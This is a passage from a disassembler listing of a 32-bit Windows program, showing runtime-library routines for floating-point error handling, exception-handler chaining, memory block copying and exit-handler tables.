ecx ; int push ecx fstp qword ptr [esp] push 0Bh ; double call sub_420FC1 add esp, 10h jmp short loc_41C744 ; --------------------------------------------------------------------------- loc_41C6D4: ; CODE XREF: sub_41C679+3Fj push esi push ebx call sub_4217E9 fld [ebp+arg_0] pop ecx pop ecx jmp short loc_41C744 ; --------------------------------------------------------------------------- loc_41C6E2: ; CODE XREF: sub_41C679+3Aj ; sub_41C679+44j fld [ebp+arg_0] fadd dbl_427718 push ebx push ecx ; double push ecx fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx fstp [esp+24h+var_24] push 0Bh push 8 jmp short loc_41C73C ; --------------------------------------------------------------------------- loc_41C6FF: ; CODE XREF: sub_41C679+2Fj call sub_421676 fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] pop ecx pop ecx fnstsw ax sahf jnz short loc_41C722 loc_41C714: ; CODE XREF: sub_41C679+ACj push esi push ebx call sub_4217E9 fld [ebp+var_8] pop ecx pop ecx jmp short loc_41C744 ; --------------------------------------------------------------------------- loc_41C722: ; CODE XREF: sub_41C679+99j test bl, 20h jnz short loc_41C714 fld [ebp+var_8] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx ; double fstp [esp+24h+var_24] push 0Bh ; int push 10h ; int loc_41C73C: ; CODE XREF: sub_41C679+84j call sub_421014 add esp, 1Ch loc_41C744: ; CODE XREF: sub_41C679+59j ; sub_41C679+67j ... pop esi pop ebx leave retn sub_41C679 endp ; =============== S U B R O U T I N E ======================================= sub_41C748 proc near ; CODE XREF: ___:0041B78Dp ; sub_4218B2+21p ; DATA XREF: ... call sub_41C760 call sub_4218B2 mov dword_4DB2CC, eax call sub_421862 fnclex retn sub_41C748 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_41C760 proc near ; CODE XREF: sub_41C748p mov eax, offset sub_421CA0 mov off_43C8A4, offset sub_421935 mov off_43C8A0, eax mov off_43C8A8, offset sub_42199B mov off_43C8AC, offset sub_4218DB mov off_43C8B0, offset sub_421983 mov off_43C8B4, eax retn sub_41C760 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C798 proc near ; CODE XREF: sub_40D030+1Bp ; sub_40D030+44p ... var_C = qword ptr -0Ch var_4 = word ptr -4 var_2 = word ptr -2 push ebp mov ebp, esp add esp, 0FFFFFFF4h fstcw [ebp+var_2] wait mov ax, [ebp+var_2] or ah, 0Ch mov [ebp+var_4], ax fldcw [ebp+var_4] fistp [ebp+var_C] fldcw [ebp+var_2] mov eax, dword ptr [ebp+var_C] mov edx, dword ptr [ebp+var_C+4] leave retn sub_41C798 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41C7BF(double) sub_41C7BF proc near ; CODE XREF: sub_40D07C+82p ; ___:0040DD3Cp var_24 = qword ptr -24h var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push dword_43A2A8 call sub_4217E9 fld [ebp+arg_0] pop ecx mov ebx, eax mov eax, dword ptr [ebp+arg_0+6] pop ecx push ecx and ax, 7FF0h push ecx cmp ax, 7FF0h fstp [esp+18h+var_18] jnz short loc_41C845 call sub_4216B1 pop ecx test eax, eax pop ecx jle short loc_41C828 cmp eax, 2 jle short loc_41C81A cmp eax, 3 jnz short loc_41C828 fld [ebp+arg_0] push ebx push ecx ; int push ecx fstp qword ptr [esp] push 0Ch ; double call sub_420FC1 add esp, 10h jmp short loc_41C88A ; --------------------------------------------------------------------------- loc_41C81A: ; CODE XREF: sub_41C7BF+3Fj push esi push ebx call sub_4217E9 fld [ebp+arg_0] pop ecx pop ecx jmp short loc_41C88A ; --------------------------------------------------------------------------- loc_41C828: ; CODE XREF: sub_41C7BF+3Aj ; sub_41C7BF+44j fld [ebp+arg_0] fadd dbl_427718 push ebx push ecx ; double push ecx fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx fstp [esp+24h+var_24] push 0Ch push 8 jmp short loc_41C882 ; --------------------------------------------------------------------------- loc_41C845: ; CODE XREF: sub_41C7BF+2Fj call sub_421676 fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] pop ecx pop ecx fnstsw ax sahf jnz short loc_41C868 loc_41C85A: ; CODE XREF: sub_41C7BF+ACj push esi push ebx call sub_4217E9 fld [ebp+var_8] pop ecx pop ecx jmp short loc_41C88A ; --------------------------------------------------------------------------- loc_41C868: ; CODE XREF: sub_41C7BF+99j test bl, 20h jnz short loc_41C85A fld [ebp+var_8] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx ; double fstp [esp+24h+var_24] push 0Ch ; int push 10h ; int loc_41C882: ; CODE XREF: sub_41C7BF+84j call sub_421014 add esp, 1Ch loc_41C88A: ; CODE XREF: sub_41C7BF+59j ; sub_41C7BF+67j ... pop esi pop ebx leave retn sub_41C7BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C88E proc near ; CODE XREF: ___:00422182p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov ebx, large fs:0 mov eax, [ebx] mov large fs:0, eax mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] mov esp, [ebx-4] mov ebp, [ebp+var_4] jmp eax sub_41C88E endp ; --------------------------------------------------------------------------- pop edi pop esi pop ebx leave retn 8 ; =============== S U B R O U T I N E ======================================= sub_41C8C2 proc near ; CODE XREF: sub_4222C2+199p ; sub_422486+3Ep arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_41C8C2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41C8C9 proc near ; CODE XREF: sub_4222C2+17Fp arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_41C8C9 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_41C8D0 proc near ; CODE XREF: sub_41CA82+5Cp ; sub_422111:loc_422142p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi mov eax, large fs:0 mov [ebp+var_8], eax mov [ebp+var_4], offset loc_41C8F8 push 0 push [ebp+arg_4] push [ebp+var_4] push [ebp+arg_0] call sub_42675C sub_41C8D0 endp ; --------------------------------------------------------------------------- loc_41C8F8: ; DATA XREF: sub_41C8D0+11o mov eax, [ebp+0Ch] mov eax, [eax+4] and al, 0FDh mov ecx, [ebp+0Ch] mov [ecx+4], eax mov eax, large fs:0 mov ebx, [ebp-8] mov [ebx], eax mov large fs:0, ebx pop edi pop esi pop ebx leave retn 8 ; --------------------------------------------------------------------------- loc_41C91F: ; CODE XREF: ___:00426DFCj ; ___:00426E19j ... push ebp mov ebp, esp sub esp, 4 push ebx push esi push edi cld mov [ebp-4], eax xor eax, eax push eax push eax push eax push dword ptr [ebp-4] push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_421D16 add esp, 20h mov [ebp+14h], eax pop edi pop esi pop ebx mov eax, [ebp+14h] mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C955 proc near ; CODE XREF: sub_42218C+73p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 14h mov eax, [ebp+arg_4] and [ebp+var_14], 0 mov ecx, [ebp+arg_0] mov [ebp+var_C], eax mov eax, [ebp+arg_C] mov [ebp+var_10], offset sub_41C9A9 inc eax mov [ebp+var_8], ecx mov [ebp+var_4], eax mov eax, large fs:0 mov [ebp+var_14], eax lea eax, [ebp+var_14] mov large fs:0, eax push [ebp+arg_10] push ecx push [ebp+arg_8] call sub_422510 mov ecx, eax mov eax, [ebp+var_14] mov large fs:0, eax mov eax, ecx leave retn sub_41C955 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C9A9 proc near ; DATA XREF: sub_41C955+16o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cld mov eax, [ebp+arg_4] push 0 push eax push dword ptr [eax+10h] push dword ptr [eax+8] push 0 push [ebp+arg_8] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_421D16 add esp, 20h pop ebp retn sub_41C9A9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C9CE proc near ; CODE XREF: sub_421F58+25p var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 34h push ebx push esi push edi and [ebp+var_28], 0 mov [ebp+var_24], offset sub_41CA82 mov eax, [ebp+arg_10] mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_1C], eax mov eax, [ebp+arg_14] mov [ebp+var_18], eax mov eax, [ebp+arg_18] mov [ebp+var_14], eax and [ebp+var_10], 0 and [ebp+var_C], 0 and [ebp+var_8], 0 and [ebp+var_4], 0 mov [ebp+var_10], offset loc_41CA54 mov [ebp+var_C], esp mov [ebp+var_8], ebp mov eax, large fs:0 mov [ebp+var_28], eax lea eax, [ebp+var_28] mov large fs:0, eax mov [ebp+var_34], 1 mov eax, [ebp+arg_0] mov [ebp+var_30], eax mov eax, [ebp+arg_8] mov [ebp+var_2C], eax lea eax, [ebp+var_30] push eax mov eax, [ebp+arg_0] push dword ptr [eax] call dword_4DB324 pop ecx pop ecx and [ebp+var_34], 0 loc_41CA54: ; DATA XREF: sub_41C9CE+3Co cmp [ebp+var_4], 0 jz short loc_41CA71 mov ebx, large fs:0 mov eax, [ebx] mov ebx, [ebp+var_28] mov [ebx], eax mov large fs:0, ebx jmp short loc_41CA7A ; --------------------------------------------------------------------------- loc_41CA71: ; CODE XREF: sub_41C9CE+8Aj mov eax, [ebp+var_28] mov large fs:0, eax loc_41CA7A: ; CODE XREF: sub_41C9CE+A1j mov eax, [ebp+var_34] pop edi pop esi pop ebx leave retn sub_41C9CE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CA82 proc near ; DATA XREF: sub_41C9CE+Do arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi cld mov eax, [ebp+arg_0] mov eax, [eax+4] and eax, 66h test eax, eax jz short loc_41CAA5 mov eax, [ebp+arg_4] mov dword ptr [eax+24h], 1 push 1 pop eax jmp short loc_41CAF2 ; --------------------------------------------------------------------------- loc_41CAA5: ; CODE XREF: sub_41CA82+12j push 1 mov eax, [ebp+arg_4] push dword ptr [eax+14h] mov eax, [ebp+arg_4] push dword ptr [eax+10h] mov eax, [ebp+arg_4] push dword ptr [eax+8] push 0 push [ebp+arg_8] mov eax, [ebp+arg_4] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_421D16 add esp, 20h mov eax, [ebp+arg_4] cmp dword ptr [eax+24h], 0 jnz short loc_41CAE3 push [ebp+arg_0] push [ebp+arg_4] call sub_41C8D0 ; --------------------------------------------------------------------------- loc_41CAE3: ; CODE XREF: sub_41CA82+54j mov ebx, [ebp+arg_4] mov esp, [ebx+1Ch] mov ebp, [ebx+20h] jmp dword ptr [ebx+18h] ; --------------------------------------------------------------------------- push 1 pop eax loc_41CAF2: ; CODE XREF: sub_41CA82+21j pop edi pop esi pop ebx pop ebp retn sub_41CA82 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CAF7 proc near ; CODE XREF: sub_421DB1+C6p ; sub_421F58+43p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx push ebx push esi cmp [ebp+arg_4], 0 push edi mov edi, [ebp+arg_0] mov esi, [edi+0Ch] mov ebx, [edi+10h] mov eax, esi mov [ebp+arg_0], esi mov [ebp+var_4], eax jl short loc_41CB4E loc_41CB15: ; CODE XREF: sub_41CAF7+52j cmp esi, 0FFFFFFFFh jnz short loc_41CB1F call sub_4225B2 loc_41CB1F: ; CODE XREF: sub_41CAF7+21j mov ecx, [ebp+arg_8] dec esi lea eax, [esi+esi*4] cmp [ebx+eax*4+4], ecx lea eax, [ebx+eax*4] jge short loc_41CB34 cmp ecx, [eax+8] jle short loc_41CB39 loc_41CB34: ; CODE XREF: sub_41CAF7+36j cmp esi, 0FFFFFFFFh jnz short loc_41CB45 loc_41CB39: ; CODE XREF: sub_41CAF7+3Bj mov eax, [ebp+arg_0] dec [ebp+arg_4] mov [ebp+var_4], eax mov [ebp+arg_0], esi loc_41CB45: ; CODE XREF: sub_41CAF7+40j cmp [ebp+arg_4], 0 jge short loc_41CB15 mov eax, [ebp+var_4] loc_41CB4E: ; CODE XREF: sub_41CAF7+1Cj mov ecx, [ebp+arg_C] inc esi mov [ecx], esi mov ecx, [ebp+arg_10] mov [ecx], eax cmp eax, [edi+0Ch] ja short loc_41CB62 cmp esi, eax jbe short loc_41CB67 loc_41CB62: ; CODE XREF: sub_41CAF7+65j call sub_4225B2 loc_41CB67: ; CODE XREF: sub_41CAF7+69j lea eax, [esi+esi*4] pop edi pop esi lea eax, [ebx+eax*4] pop ebx leave retn sub_41CAF7 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_41CB74 proc near ; CODE XREF: sub_4234B8+5Ap arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi push ebp push 0 push 0 push offset sub_41CB8C push [ebp+arg_0] call sub_42675C sub_41CB74 endp ; =============== S U B R O U T I N E ======================================= sub_41CB8C proc near ; DATA XREF: sub_41CB74+Bo pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41CB8C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41CB94 proc near ; DATA XREF: sub_41CBB6+Ao ; sub_41CC1E+9o arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_C = dword ptr 10h mov ecx, [esp+arg_0] test dword ptr [ecx+4], 6 mov eax, 1 jz short locret_41CBB5 mov eax, [esp+arg_4] mov edx, [esp+arg_C] mov [edx], eax mov eax, 3 locret_41CBB5: ; CODE XREF: sub_41CB94+10j retn sub_41CB94 endp ; =============== S U B R O U T I N E ======================================= sub_41CBB6 proc near ; CODE XREF: sub_422232+Dp ; sub_4234B8+67p ... var_14 = dword ptr -14h arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov eax, [esp+0Ch+arg_0] push eax push 0FFFFFFFEh push offset sub_41CB94 push large dword ptr fs:0 mov large fs:0, esp loc_41CBD3: ; CODE XREF: sub_41CBB6:loc_41CC0Ej mov eax, [esp+1Ch+arg_0] mov ebx, [eax+8] mov esi, [eax+0Ch] cmp esi, 0FFFFFFFFh jz short loc_41CC10 cmp esi, [esp+1Ch+arg_4] jz short loc_41CC10 lea esi, [esi+esi*2] mov ecx, [ebx+esi*4] mov [esp+1Ch+var_14], ecx mov [eax+0Ch], ecx cmp dword ptr [ebx+esi*4+4], 0 jnz short loc_41CC0E push 101h mov eax, [ebx+esi*4+8] call sub_41CC4A call dword ptr [ebx+esi*4+8] loc_41CC0E: ; CODE XREF: sub_41CBB6+44j jmp short loc_41CBD3 ; --------------------------------------------------------------------------- loc_41CC10: ; CODE XREF: sub_41CBB6+2Aj ; sub_41CBB6+30j pop large dword ptr fs:0 add esp, 0Ch pop edi pop esi pop ebx retn sub_41CBB6 endp ; =============== S U B R O U T I N E ======================================= sub_41CC1E proc near ; CODE XREF: sub_422252+37p xor eax, eax mov ecx, large fs:0 cmp dword ptr [ecx+4], offset sub_41CB94 jnz short locret_41CC40 mov edx, [ecx+0Ch] mov edx, [edx+0Ch] cmp [ecx+8], edx jnz short locret_41CC40 mov eax, 1 locret_41CC40: ; CODE XREF: sub_41CC1E+10j ; sub_41CC1E+1Bj retn sub_41CC1E endp ; =============== S U B R O U T I N E ======================================= sub_41CC41 proc near ; CODE XREF: sub_422510+1Ep ; sub_422510+40p push ebx push ecx mov ebx, offset dword_43A2AC jmp short loc_41CC54 sub_41CC41 endp ; =============== S U B R O U T I N E ======================================= sub_41CC4A proc near ; CODE XREF: sub_41CBB6+4Fp ; sub_4234B8+78p push ebx push ecx mov ebx, offset dword_43A2AC mov ecx, [ebp+8] loc_41CC54: ; CODE XREF: sub_41CC41+7j mov [ebx+8], ecx mov [ebx+4], eax mov [ebx+0Ch], ebp pop ecx pop ebx retn 4 sub_41CC4A endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_41CC64 proc near ; CODE XREF: sub_40D07C+5p ; sub_40D21E+5p ... push 0FFFFFFFFh push eax mov eax, large fs:0 push eax mov eax, [esp+0Ch] mov large fs:0, esp mov [esp+0Ch], ebp lea ebp, [esp+0Ch] push eax retn sub_41CC64 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41CC83 proc near ; CODE XREF: sub_40D6B3+26p ; ___:004264F2p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_41B0B1 pop ecx retn sub_41CC83 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CC90 proc near ; CODE XREF: sub_40D724+3Ap ; sub_41DEA2+2EFp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_41CCB0 cmp edi, eax jb loc_41CE28 loc_41CCB0: ; CODE XREF: sub_41CC90+16j test edi, 3 jnz short loc_41CCCC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41CCEC rep movsd jmp off_41CDD8[edx*4] ; --------------------------------------------------------------------------- loc_41CCCC: ; CODE XREF: sub_41CC90+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_41CCE4 and eax, 3 add ecx, eax jmp dword ptr loc_41CCEC+4[eax*4] ; --------------------------------------------------------------------------- loc_41CCE4: ; CODE XREF: sub_41CC90+46j jmp dword ptr loc_41CDE8[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41CCEC: ; CODE XREF: sub_41CC90+31j ; sub_41CC90+8Ej ... jmp off_41CD6C[ecx*4] ; --------------------------------------------------------------------------- db 90h dd offset loc_41CD00 dd offset loc_41CD2C dd offset loc_41CD50 ; --------------------------------------------------------------------------- loc_41CD00: ; DATA XREF: sub_41CC90+64o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_41CCEC rep movsd jmp off_41CDD8[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41CD2C: ; DATA XREF: sub_41CC90+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_41CCEC rep movsd jmp off_41CDD8[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41CD50: ; DATA XREF: sub_41CC90+6Co and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_41CCEC rep movsd jmp off_41CDD8[edx*4] ; --------------------------------------------------------------------------- align 4 off_41CD6C dd offset loc_41CDCF ; DATA XREF: sub_41CC90:loc_41CCECr dd offset loc_41CDBC dd offset loc_41CDB4 dd offset loc_41CDAC dd offset loc_41CDA4 dd offset loc_41CD9C dd offset loc_41CD94 dd offset loc_41CD8C ; --------------------------------------------------------------------------- loc_41CD8C: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_41CD94: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_41CD9C: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_41CDA4: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_41CDAC: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_41CDB4: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_41CDBC: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41CDCF: ; CODE XREF: sub_41CC90:loc_41CCECj ; DATA XREF: sub_41CC90:off_41CD6Co jmp off_41CDD8[edx*4] ; --------------------------------------------------------------------------- align 4 off_41CDD8 dd offset loc_41CDE8 ; DATA XREF: sub_41CC90+35r ; sub_41CC90+92r ... dd offset loc_41CDF0 dd offset loc_41CDFC dd offset loc_41CE10 ; --------------------------------------------------------------------------- loc_41CDE8: ; CODE XREF: sub_41CC90+35j ; sub_41CC90+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41CDF0: ; CODE XREF: sub_41CC90+35j ; sub_41CC90+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CDFC: ; CODE XREF: sub_41CC90+35j ; sub_41CC90+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41CE10: ; CODE XREF: sub_41CC90+35j ; sub_41CC90+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CE28: ; CODE XREF: sub_41CC90+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_41CE5C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41CE50 std rep movsd cld jmp off_41CF70[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41CE50: ; CODE XREF: sub_41CC90+1B1j ; sub_41CC90+208j ... neg ecx jmp off_41CF20[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41CE5C: ; CODE XREF: sub_41CC90+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_41CE74 and eax, 3 sub ecx, eax jmp dword ptr loc_41CE74+4[eax*4] ; --------------------------------------------------------------------------- loc_41CE74: ; CODE XREF: sub_41CC90+1D6j ; DATA XREF: sub_41CC90+1DDr jmp off_41CF70[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41CE87+1 dd offset loc_41CEA8 ; --------------------------------------------------------------------------- ror dh, 1 inc ecx loc_41CE87: ; DATA XREF: sub_41CC90+1ECo add [edx-2EDCFCBAh], cl mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_41CE50 std rep movsd cld jmp off_41CF70[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41CEA8: ; DATA XREF: sub_41CC90+1F0o mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_41CE50 std rep movsd cld jmp off_41CF70[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_41CE50 std rep movsd cld jmp off_41CF70[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41CF24 dd offset loc_41CF2C dd offset loc_41CF34 dd offset loc_41CF3C dd offset loc_41CF44 dd offset loc_41CF4C dd offset loc_41CF54 off_41CF20 dd offset loc_41CF67 ; DATA XREF: sub_41CC90+1C2r ; --------------------------------------------------------------------------- loc_41CF24: ; DATA XREF: sub_41CC90+274o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_41CF2C: ; DATA XREF: sub_41CC90+278o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_41CF34: ; DATA XREF: sub_41CC90+27Co mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_41CF3C: ; DATA XREF: sub_41CC90+280o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_41CF44: ; DATA XREF: sub_41CC90+284o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_41CF4C: ; DATA XREF: sub_41CC90+288o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_41CF54: ; DATA XREF: sub_41CC90+28Co mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41CF67: ; CODE XREF: sub_41CC90+1C2j ; DATA XREF: sub_41CC90:off_41CF20o jmp off_41CF70[edx*4] ; --------------------------------------------------------------------------- align 10h off_41CF70 dd offset loc_41CF80 ; DATA XREF: sub_41CC90+1B7r ; sub_41CC90:loc_41CE74r ... dd offset loc_41CF88 dd offset loc_41CF98 dd offset loc_41CFAC ; --------------------------------------------------------------------------- loc_41CF80: ; CODE XREF: sub_41CC90+1B7j ; sub_41CC90:loc_41CE74j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CF88: ; CODE XREF: sub_41CC90+1B7j ; sub_41CC90:loc_41CE74j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CF98: ; CODE XREF: sub_41CC90+1B7j ; sub_41CC90:loc_41CE74j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CFAC: ; CODE XREF: sub_41CC90+1B7j ; sub_41CC90:loc_41CE74j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_41CC90 endp ; =============== S U B R O U T I N E ======================================= sub_41CFC5 proc near ; CODE XREF: sub_40D78B+34p ; sub_40D78B+4Fp ... arg_0 = dword ptr 4 push 1 push [esp+4+arg_0] call sub_41B4E7 pop ecx pop ecx retn sub_41CFC5 endp ; =============== S U B R O U T I N E ======================================= sub_41CFD3 proc near ; CODE XREF: sub_41D040+4p arg_0 = dword ptr 4 push esi push dword_4DC91C call sub_422608 mov edx, dword_4DC91C pop ecx mov ecx, dword_4DC918 mov esi, ecx sub esi, edx add esi, 4 cmp eax, esi pop esi jnb short loc_41D032 push edx call sub_422608 add eax, 10h push eax push dword_4DC91C call sub_41B202 add esp, 0Ch test eax, eax jnz short loc_41D015 retn ; --------------------------------------------------------------------------- loc_41D015: ; CODE XREF: sub_41CFD3+3Fj mov ecx, dword_4DC918 sub ecx, dword_4DC91C mov dword_4DC91C, eax sar ecx, 2 lea ecx, [eax+ecx*4] mov dword_4DC918, ecx loc_41D032: ; CODE XREF: sub_41CFD3+23j mov eax, [esp+arg_0] mov [ecx], eax add dword_4DC918, 4 retn sub_41CFD3 endp ; =============== S U B R O U T I N E ======================================= sub_41D040 proc near ; CODE XREF: sub_40D878+1Ap arg_0 = dword ptr 4 push [esp+arg_0] call sub_41CFD3 neg eax sbb eax, eax pop ecx neg eax dec eax retn sub_41D040 endp ; =============== S U B R O U T I N E ======================================= sub_41D052 proc near ; DATA XREF: ___:0042901Co push 80h call sub_41B4D5 test eax, eax pop ecx mov dword_4DC91C, eax jnz short loc_41D073 push 18h call sub_41DA29 mov eax, dword_4DC91C pop ecx loc_41D073: ; CODE XREF: sub_41D052+12j and dword ptr [eax], 0 mov eax, dword_4DC91C mov dword_4DC918, eax retn sub_41D052 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based 